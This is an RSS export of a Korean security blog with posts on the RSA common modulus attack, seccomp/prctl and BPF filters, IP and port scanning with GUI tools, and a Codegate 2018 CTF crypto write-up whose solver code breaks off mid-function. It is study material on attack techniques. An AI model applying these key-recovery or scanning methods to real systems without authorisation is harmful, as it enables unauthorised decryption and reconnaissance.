<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>matta's archive</title>
    <link>https://m4tta.tistory.com/</link>
    <description>Security Assessment?!</description>
    <language>ko</language>
    <pubDate>Tue, 12 May 2026 18:22:12 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>m4tta</managingEditor>
    <image>
      <title>matta's archive</title>
      <url>https://tistory1.daumcdn.net/tistory/3438130/attach/5a85646f90da48c3b8f7355618a864e8</url>
      <link>https://m4tta.tistory.com</link>
    </image>
    <item>
      <title>RSA Common Modulus Attack</title>
      <link>https://m4tta.tistory.com/149</link>
      <description>&lt;p&gt;RSA Common Modulus Attack은 RSA에 대한 공격 방법 중 하나로, 다음의 조건에서 평문을 알아내는 공격이 가능하다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(이름 그대로) 동일한 Modulus를 반복 사용(public exponent는 상이)&lt;/li&gt;
&lt;li&gt;public exponent들이 서로 소 (&lt;i&gt;gcd(e&lt;sub&gt;1&lt;/sub&gt;&lt;/i&gt;, e&lt;sub&gt;2&lt;/sub&gt;) = 1)&lt;/li&gt;
&lt;li&gt;동일한 메세지에 대한 암호문이 알려져 있고, n에 대해 서로 소 (&lt;i&gt;gcd(c&lt;sub&gt;1&lt;/sub&gt;, n) = 1, gcd(c&lt;sub&gt;2&lt;/sub&gt;&lt;/i&gt;, n) = 1)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;위의 조건을 만족하는 두 Key Pair &lt;i&gt;(n, e&lt;sub&gt;1&lt;/sub&gt;)&lt;/i&gt;, &lt;i&gt;(n, e&lt;sub&gt;2&lt;/sub&gt;)&lt;/i&gt;와 이를 이용하여 메세지 &lt;i&gt;m&lt;/i&gt;을 암호화 한 &lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt;, c&lt;sub&gt;2&lt;/sub&gt;&lt;/i&gt;가 각각 존재한다고 하자.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt; = m&lt;sup&gt;e&lt;sub&gt;1&lt;/sub&gt;&lt;/sup&gt; mod n&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;&lt;i&gt;c&lt;sub&gt;2&lt;/sub&gt; = m&lt;sup&gt;e&lt;sub&gt;2&lt;/sub&gt;&lt;/sup&gt; mod n&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;확장 유클리드 알고리즘(&lt;a href=&quot;https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm&quot;&gt;extended euclidean algorithm&lt;/a&gt;)을 이용하면 아래를 만족하는 &lt;i&gt;r, s&lt;/i&gt;를 각각 구할 수 있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;re&lt;sub&gt;1&lt;/sub&gt; + se&lt;sub&gt;2&lt;/sub&gt; = 1&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그러면 다음과 같이 평문 &lt;i&gt;m&lt;/i&gt;을 계산할 수 있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;r&lt;/sup&gt; &amp;middot; c&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;s&lt;/sup&gt;&lt;/i&gt; = &lt;i&gt;(m&lt;sup&gt;e&lt;sub&gt;1&lt;/sub&gt;&lt;/sup&gt;)&lt;sup&gt;r&lt;/sup&gt; &amp;middot; (m&lt;sup&gt;e&lt;sub&gt;2&lt;/sub&gt;&lt;/sup&gt;)&lt;sup&gt;s&lt;/sup&gt;&lt;/i&gt; = &lt;i&gt;m&lt;sup&gt;e&lt;sub&gt;1&lt;/sub&gt;r&lt;/sup&gt; &amp;middot; m&lt;sup&gt;e&lt;sub&gt;2&lt;/sub&gt;s&lt;/sup&gt;&lt;/i&gt; = &lt;i&gt;m&lt;sup&gt;re&lt;sub&gt;1&lt;/sub&gt;+se&lt;sub&gt;2&lt;/sub&gt;&lt;/sup&gt;&lt;/i&gt; = &lt;i&gt;m (mod n)&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그런데, &lt;i&gt;e&lt;sub&gt;1&lt;/sub&gt;&lt;/i&gt;과 &lt;i&gt;e&lt;sub&gt;2&lt;/sub&gt;&lt;/i&gt;는 양의 정수이므로 &lt;i&gt;re&lt;sub&gt;1&lt;/sub&gt; + se&lt;sub&gt;2&lt;/sub&gt; = 1&lt;/i&gt;를 만족하기 위해서는 &lt;i&gt;r&lt;/i&gt;과 &lt;i&gt;s&lt;/i&gt; 중 하나가 음수이어야 한다. 여기서는 &lt;i&gt;r&lt;/i&gt;이 음수라고 가정하자.&lt;/p&gt;
&lt;p&gt;&lt;i&gt;r&lt;/i&gt;이 음수일 때, 유한체(finite field)에서는 제곱근 계산이 어려우므로, &lt;i&gt;gcd(c&lt;sub&gt;1&lt;/sub&gt;, n) = 1&lt;/i&gt; 이라는 전제 하에 &lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;r&lt;/sup&gt;&lt;/i&gt;을 다음과 같이 계산한다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;r &amp;lt; 0&lt;/i&gt; 일 때, t&lt;i&gt; = -r&lt;/i&gt;이라고 하면 &lt;i&gt;t&lt;/i&gt;는 양의 정수가 된다.&lt;/li&gt;
&lt;li&gt;&lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;r&lt;/sup&gt; = c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;-t&lt;/sup&gt; = c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;-1 &amp;middot; t&lt;/sup&gt; = (c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;-1&lt;/sup&gt;)&lt;sup&gt;t&lt;/sup&gt; = (c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;-1&lt;/sup&gt;)&lt;sup&gt;-r&lt;/sup&gt; (mod n)&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;종합하여, 평문 &lt;i&gt;m&lt;/i&gt;은 아래와 같이 구할 수 있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;i&gt;(c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;-1&lt;/sup&gt;)&lt;sup&gt;-r&lt;/sup&gt; &amp;middot; c&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;s&lt;/sup&gt;&lt;/i&gt; = &lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;r&lt;/sup&gt; &amp;middot; c&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;s&lt;/sup&gt;&lt;/i&gt; = &lt;i&gt;m (mod n)&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;처음의 조건에서 두 암호문 모두 n에 대해 서로 소여야 한다고 했는데,&lt;br /&gt;사실 &lt;i&gt;r&lt;/i&gt;이 음수인 경우 &lt;i&gt;c&lt;sub&gt;1&lt;/sub&gt;&lt;/i&gt;만, &lt;i&gt;s&lt;/i&gt;가 음수인 경우 &lt;i&gt;c&lt;sub&gt;2&lt;/sub&gt;&lt;/i&gt;만 n과 서로 소이면 된다.&lt;/p&gt;</description>
      <category>SecurityAssessment/Cryptography</category>
      <category>RSA</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/149</guid>
      <comments>https://m4tta.tistory.com/149#entry149comment</comments>
      <pubDate>Wed, 4 Dec 2019 19:55:05 +0900</pubDate>
    </item>
    <item>
      <title>seccomp / prctl</title>
      <link>https://m4tta.tistory.com/148</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;&lt;span style=&quot;font-size: 13px; font-weight: normal;&quot;&gt;ctf Pwnable 문제를 풀다 보면 seccomp가 적용된 바이너리를 자주 만날 수 있다. 보통은 소스코드 없이 바이너리만 주어지기 때문에 decompile 하여 코드를 보게 되는데, argument들이 정수로 표시되어 있어 해석이 불편할 때가 많아 따로 정리해두려고 한다.&lt;/span&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;seccomp는 &lt;strong&gt;SECure COMPuting&lt;/strong&gt;의 약자로, 커널이 제공하는 수많은 &lt;strong&gt;system call 중에 사용되지 않는 것들을 필터링&lt;/strong&gt; 함으로써 attack surface를 줄이는 역할을 한다. seccomp 필터링을 사용하려면 process가 자신이 사용할 system call들을 필터로 정의해야 하는데, 이 필터는 BPF(Berkeley Packet Filter) 프로그램 형식으로 정의된다. (BPF는 일종의 socket 필터로, seccomp에서 사용될 때는 system call 번호와 argument들에 대해 필터링을 수행한다: 하단 참조) seccomp 필터를 위반하는 system call 호출이 일어나면 커널은 SIGKILL 시그널을 발생시켜서 프로세스를 종료한다.&lt;/p&gt;
&lt;p&gt;seccomp 필터는 한번 적용되면 제거가 불가능하도록 설계되어 있는데, seccomp 필터를 사용한다는 것 자체가 이후에 실행되는 코드들에 대한 불신을 의미하기 때문이다.&lt;/p&gt;
&lt;p&gt;seccomp는 &lt;strong&gt;prctl()&lt;/strong&gt;과 &lt;strong&gt;seccomp()&lt;/strong&gt;의 두 가지 인터페이스를 통해 사용할 수 있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h2 id=&quot;prctl&quot;&gt;prctl()&lt;/h2&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;prctl()은 프로세스에 대한 여러가지 파라미터들을 변경하거나 확인하기 위한 인터페이스이다. 다양한 기능을 제공하지만, 여기서는 seccomp를 설정하기 위한 부분만 다룬다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;prctl()을 이용해서 seccomp를 설정하기 위해서는 &lt;strong&gt;PR_SET_SECCOMP&lt;/strong&gt; 옵션을 이용해야 한다. arg2를 통해서 &lt;strong&gt;SECCOMP_MODE_STRICT&lt;/strong&gt;와 &lt;strong&gt;SECCOMP_MODE_FILTER&lt;/strong&gt;의 두 가지 모드를 지정할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SECCOMP_MODE_STRICT&lt;/strong&gt; 모드는 read, write, exit, sigreturn을 제외한 모든 system call을 제약한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SECCOMP_MODE_FILTER&lt;/strong&gt; 모드는 허용되는 system call을 지정할 수 있는데, 이 때 arg3는 sock_fprog 구조체에 대한 포인터이다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   struct sock_fprog {
       unsigned short      len;    /* Number of BPF instructions */
       struct sock_filter *filter; /* Pointer to array of BPF instructions */
   };

   struct sock_filter {            /* Filter block */
       __u16 code;                 /* Actual filter code */
       __u8  jt;                   /* Jump true */
       __u8  jf;                   /* Jump false */
       __u32 k;                    /* Generic multiuse field */
   };&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;instruction들이 수행될 때 BPF 프로그램은 아래와 같이 구성된 호출 정보를 제공받는다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   struct seccomp_data {
       int   nr;                   /* System call number */
       __u32 arch;                 /* AUDIT_ARCH_* value
                                      (see &amp;lt;linux/audit.h&amp;gt;) */
       __u64 instruction_pointer;  /* CPU instruction pointer */
       __u64 args[6];              /* Up to 6 system call arguments */
   };&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;seccomp 필터가 fork를 허용하는 경우, fork를 통해 생성된 자식 프로세스는 부모의 seccomp 모드를 상속한다. execve가 허용된 경우에도 생성된 프로세스에 seccomp 모드가 유지된다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h2 id=&quot;seccomp&quot;&gt;seccomp()&lt;/h2&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;seccomp() 인터페이스는 prctl() 인터페이스의 seccomp 관련 기능에 대한 확장 인터페이스이다. 주로 thread 관련 기능이 추가되었다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int seccomp(unsigned int operation, unsigned int flags, void *args);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;operation 인자를 통해서 &lt;strong&gt;SECCOMP_SET_MODE_STRICT&lt;/strong&gt;와 &lt;strong&gt;SECCOMP_SET_MODE_FILTER&lt;/strong&gt;의 두 가지 모드를 지정할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SECCOMP_SET_MODE_STRICT&lt;/strong&gt; 모드는 prctl()의 strict 모드와 마찬가지로 read, write, exit, sigreturn을 제외한 모든 system call을 제약한다. 이 때, flag와 args는 각각 0과 NULL이어야 한다. seccomp(SECCOMP_SET_MODE_STRICT, 0, NULL)은 prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)와 동일한 기능을 제공한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SECCOMP_SET_MODE_FILTER&lt;/strong&gt; 모드는 arg 인자를 통해 허용되는 system call들의 목록을 정의한다.&lt;/p&gt;
&lt;p&gt;flags에는 아래의 값들을 사용할 수 있다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SECCOMP_FILTER_FLAG_TSYNC&lt;/strong&gt;: 해당 프로세스 내의 모든 thread에 동일한 seccomp filter를 적용한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SECCOMP_FILTER_FLAG_LOG&lt;/strong&gt;: SECCOMP_RET_ALLOW를 제외한 모든 필터의 return action이 logging 된다.(/proc/sys/kernel/seccomp/actions_logged)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SECCOMP_FILTER_FLAG_SPEC_ALLOW&lt;/strong&gt;: Spectre와 Meltdown 방어를 위한 mitigation을 disable한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;flag가 0인 경우, prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args)와 동일하게 동작한다. 즉, seccomp() 인터페이스는 위의 flag들을 사용하기 위해 개발되었다.&lt;/p&gt;
&lt;h3 id=&quot;seccomp-filter-mode-example-from-here&quot;&gt;seccomp() filter mode example (from &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/containers/2018-June/039104.html&quot;&gt;here&lt;/a&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;static int user_trap_syscall(int nr, unsigned int flags)
{
       struct sock_filter filter[] = {
               BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
                       offsetof(struct seccomp_data, nr)),
               BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, nr, 0, 1),
               BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_USER_NOTIF),
               BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
       };

       struct sock_fprog prog = {
               .len = (unsigned short)ARRAY_SIZE(filter),
               .filter = filter,
       };

       return seccomp(SECCOMP_SET_MODE_FILTER, flags, &amp;amp;prog);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;seccomp() 대신 scmp_filter_ctx, seccomp_rule_add(), seccomp_load()를 이용해서 seccomp를 구성할 수도 있다. (&lt;a href=&quot;https://blog.yadutaf.fr/2014/05/29/introduction-to-seccomp-bpf-linux-syscall-filter/&quot;&gt;참조&lt;/a&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h2 id=&quot;constants&quot;&gt;Constants&lt;/h2&gt;&lt;/li&gt;
&lt;li&gt;linux/include/uapi/linux/seccomp.h&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode c&quot;&gt;&lt;code class=&quot;sourceCode c&quot;&gt;&lt;span class=&quot;co&quot;&gt;/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, &amp;lt;mode&amp;gt;) */&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_MODE_DISABLED   0 &lt;/span&gt;&lt;span class=&quot;co&quot;&gt;/* seccomp is not in use. */&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_MODE_STRICT 1 &lt;/span&gt;&lt;span class=&quot;co&quot;&gt;/* uses hard-coded filter. */&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_MODE_FILTER 2 &lt;/span&gt;&lt;span class=&quot;co&quot;&gt;/* uses user-supplied filter. */&lt;/span&gt;

&lt;span class=&quot;co&quot;&gt;/* Valid operations for seccomp syscall. */&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_SET_MODE_STRICT     0&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_SET_MODE_FILTER     1&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_GET_ACTION_AVAIL    2&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_GET_NOTIF_SIZES     3&lt;/span&gt;

&lt;span class=&quot;co&quot;&gt;/* Valid flags for SECCOMP_SET_MODE_FILTER */&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_FILTER_FLAG_TSYNC       (1UL &amp;lt;&amp;lt; 0)&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_FILTER_FLAG_LOG         (1UL &amp;lt;&amp;lt; 1)&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_FILTER_FLAG_SPEC_ALLOW      (1UL &amp;lt;&amp;lt; 2)&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define SECCOMP_FILTER_FLAG_NEW_LISTENER    (1UL &amp;lt;&amp;lt; 3)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;linux/include/uapi/linux/prctl.h&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode c&quot;&gt;&lt;code class=&quot;sourceCode c&quot;&gt;&lt;span class=&quot;co&quot;&gt;/* Get/set process seccomp mode */&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define PR_GET_SECCOMP  21&lt;/span&gt;
&lt;span class=&quot;pp&quot;&gt;#define PR_SET_SECCOMP  22&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h2 id=&quot;사족-bpf&quot;&gt;사족: BPF&lt;/h2&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BPF는 네트워크 패킷 모니터링 도구인 tcpdump 프로그램에서 파생되었다. tcpdump에서 처리해야 할 패킷들이 너무 많아지자 모든 패킷을 user space까지 올리는 것이 비효율적이 되었고, (user space에서는 관심 있는 패킷만 처리할 수 있도록) 필터링 작업을 kernel space에서 수행하기 위해 만들어진 것이 BPF이다.&lt;/p&gt;
&lt;p&gt;seccomp 개발자들이 seccomp에 대한 요구사항을 정리하고 설계를 진행하다 보니 BPF와 매우 비슷한 task가 필요한 것으로 판단되어서 BPF를 system call 필터링에도 사용할 수 있도록 확장하였다.&lt;/p&gt;
&lt;p&gt;BPF 프로그램은 커널 안에 존재하는 작은 virtual machine에서 처리된다고 생각하면 된다. BPF 프로그램은 최대 4096개의 instruction을 가질 수 있으며, kernel에 로딩될 때 verification 과정을 거친다. 이 VM에서 동작하는 코드는 몇가지 제약 사항이 있는데, 대표적으로 branch는 허용 되지만 이전의 instruction으로의 jump는 허용하지 않기 때문에 loop의 구현이 불가능하다는 점이 있다. 또, 모든 branch가 return으로 종료되어야 하기 때문에 BPF 프로그램은 항상 종료되며 이 때 정확한 return 값이 반환된다는 것이 보장된다.&lt;/p&gt;
&lt;p&gt;BPF는 하나의 accumulator register와 data 영역을 갖는데, seccomp 필터링 시에 data 영역에는 system call에 대한 정보가 저장된다. 모든 instruction은 64bit 크기인데, 16bit opcode와 8bit 크기의 두 개의 jump 주소, 그리고 opcode에 따라 용도가 정해지는 32bit 크기의 field로 구성된다. jump 주소 두개를 갖고 있을 수 있기 때문에 conditional jump를 간단히 구성할 수 있다. jump 주소는 offset이기 때문에 0은 no jump를 의미하게 된다.&lt;/p&gt;
&lt;p&gt;BPF를 확장한 eBPF(extended BPF)도 개발되었는데, 이는 BPF의 필터링 대상을 tracepoints, raw sockets, perf event 등으로 확장한 것이다. 참고로, Spectre와 Meltdown 취약점에서 커널에 공격 코드를 올리기 위해 사용했던 것이 eBPF이다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lwn.net/Articles/656307/&quot;&gt;A seccomp overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kernel.org/doc/Documentation/prctl/seccomp_filter.txt&quot;&gt;SECure COMPuting with filters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://man7.org/linux/man-pages/man2/seccomp.2.html&quot;&gt;seccomp man page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://man7.org/linux/man-pages/man2/prctl.2.html&quot;&gt;prctl man page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elinux.org/images/a/ae/Using-Seccomp-to-Limit-the-Kernel-Attack-Surface-Michael-Kerrisk-man7.org-Training-and-Consulting.pdf&quot;&gt;Using seccomp to limit the kernel attack surface&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>SecurityAssessment/System Hacking</category>
      <category>BPF</category>
      <category>prctl</category>
      <category>seccomp</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/148</guid>
      <comments>https://m4tta.tistory.com/148#entry148comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:57:38 +0900</pubDate>
    </item>
    <item>
      <title>IP Scan / Port Scan</title>
      <link>https://m4tta.tistory.com/147</link>
      <description>&lt;p&gt;Nmap은 IP scan과 Port scan을 위한 훌륭한 도구이다. (게다가 오픈소스!)&lt;/p&gt;
&lt;p&gt;하지만 왜인지 WSL 환경과 내 윈도우 PC에서는 NMap이 정상적으로 잘 작동하지 않았다. 열심히 분석해서 이유를 알아내서 해결하면 좋겠지만, 알아낸다고 해결이 안될 수도 있고 다른 방법이 없는 것도 아니니 그냥 편한 방법을 사용하기로 했다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IP Scanning&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;우선 IP scanning 방법을 살펴보자. 인터넷에서 조금 검색해 봤더니 &lt;a href=&quot;http://www.eusing.com/ipscan/free_ip_scanner.htm&quot;&gt;Free IP Scanner&lt;/a&gt;라는 것을 찾을 수 있었다.&lt;/p&gt;
&lt;p&gt;이 Tool은 scan 하고 싶은 IP 범위를 적어주면 그 범위 내에 살아있는 ip 들을 찾아주는 역할만 딱 한다. 별다른 기능은 없는 것 같지만, 그만큼 가볍고 빠르게 동작한다.&lt;/p&gt;
&lt;p&gt;GUI 프로그램으로, 별다른 설정이나 사전 지식이 필요치 않다.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;&lt;img src=&quot;http://www.eusing.com/Images/ipscan/MainInterface.jpg&quot; /&gt;&lt;/div&gt;
&lt;p&gt;위 사진 한장으로 설명 끝.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port Scanning&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;NMap이 잘 동작하면 좋은데, 커맨드 라인에서는 잘 안된다.. 왜지 ㅜㅠ 할 수 없이 Port Scanner 프로그램을 찾아보다가, NMap의 GUI wrapper인 zenmap을 알게 되었다. Windwos에서는 NMap 설치하면 같이 설치된다(좋다..).&lt;/p&gt;
&lt;p&gt;Target와 Profile을 적어주면 알아서 스캔한다. 내가 선택한 Target와 Profile에 따라 Command에 자동으로 명령어가 작성되는데, 이 부분을 클릭해서 세부적으로 수정할 수도 있다.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/IPScan/zenmap.png&quot; /&gt;&lt;/div&gt;</description>
      <category>SecurityAssessment/Network Hacking</category>
      <category>Scan</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/147</guid>
      <comments>https://m4tta.tistory.com/147#entry147comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:57:37 +0900</pubDate>
    </item>
    <item>
      <title>RSAbaby</title>
      <link>https://m4tta.tistory.com/146</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt; Codegate 2018 Quals.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points:&lt;/strong&gt; 300&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;XD&lt;/p&gt;
&lt;p&gt;source : Codegate 2018 Quals.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;주어진 파일을 unzip으로 풀어보면, RSAbaby.py 파일과 이를 수행한 결과인 Result.txt 파일을 확인할 수 있다. Result.txt에 있는 값들을 이용하여 암호화 된 flag를 푸는 문제임을 쉽게 짐작할 수 있다.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/code.png&quot;&gt;

&lt;/div&gt;
&lt;p&gt;문제로 부터 얻어낼 수 있는 값은 n(modulus), e, h, g, encrypted flag이다.&lt;/p&gt;
&lt;p&gt;임의의 a에 대하여, &lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/1.gif&quot;&gt; 이므로,&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/2.gif&quot;&gt;

&lt;/div&gt;
&lt;p&gt;임을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/3.gif&quot;&gt; 형태를 보면 아래의 페르마의 소정리(Fermat's little theorem)와 닮은 것 같다.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/fermat.gif&quot;&gt;

&lt;/div&gt;
&lt;p&gt;페르마의 소정리를 이용할 수 있도록 수식을 확장해 나가보자.&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/4.gif&quot;&gt;

&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/RSAbaby/5.gif&quot;&gt;은 p의 배수임을 알 수 있고, n도 p의 배수이므로, GCD를 적용하면 p를 찾아낼 수 있다. (p는 소수니까)&lt;/p&gt;
&lt;p&gt;p를 찾아내면 N = pq로 부터 q를 간단히 계산해낼 수 있고, p, q와 e를 알게 되었으므로 d도 알아낼 수 있다.&lt;/p&gt;
&lt;p&gt;찾아낸 d를 이용해서 암호화 된 flag를 복호화 하면 원래의 flag 값을 확인 가능하다.&lt;/p&gt;
&lt;p&gt;아래는 a를 2로 하여 flag를 계산해내는 코드이다.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;&lt;span class=&quot;im&quot;&gt;import&lt;/span&gt; re

enc_flag &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; (...)
n &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; (...)
h &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; (...)
g &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; (...)
e &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;65537&lt;/span&gt;

&lt;span class=&quot;kw&quot;&gt;def&lt;/span&gt; xgcd(b, n):
    x0, x1, y0, y1 &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;1&lt;/span&gt;, &lt;span class=&quot;dv&quot;&gt;0&lt;/span&gt;, &lt;span class=&quot;dv&quot;&gt;0&lt;/span&gt;, &lt;span class=&quot;dv&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;cf&quot;&gt;while&lt;/span&gt; n &lt;span class=&quot;op&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;0&lt;/span&gt;:
        q, b, n &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; b &lt;span class=&quot;op&quot;&gt;//&lt;/span&gt; n, n, b &lt;span class=&quot;op&quot;&gt;%&lt;/span&gt; n
        x0, x1 &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; x1, x0 &lt;span class=&quot;op&quot;&gt;-&lt;/span&gt; q &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; x1
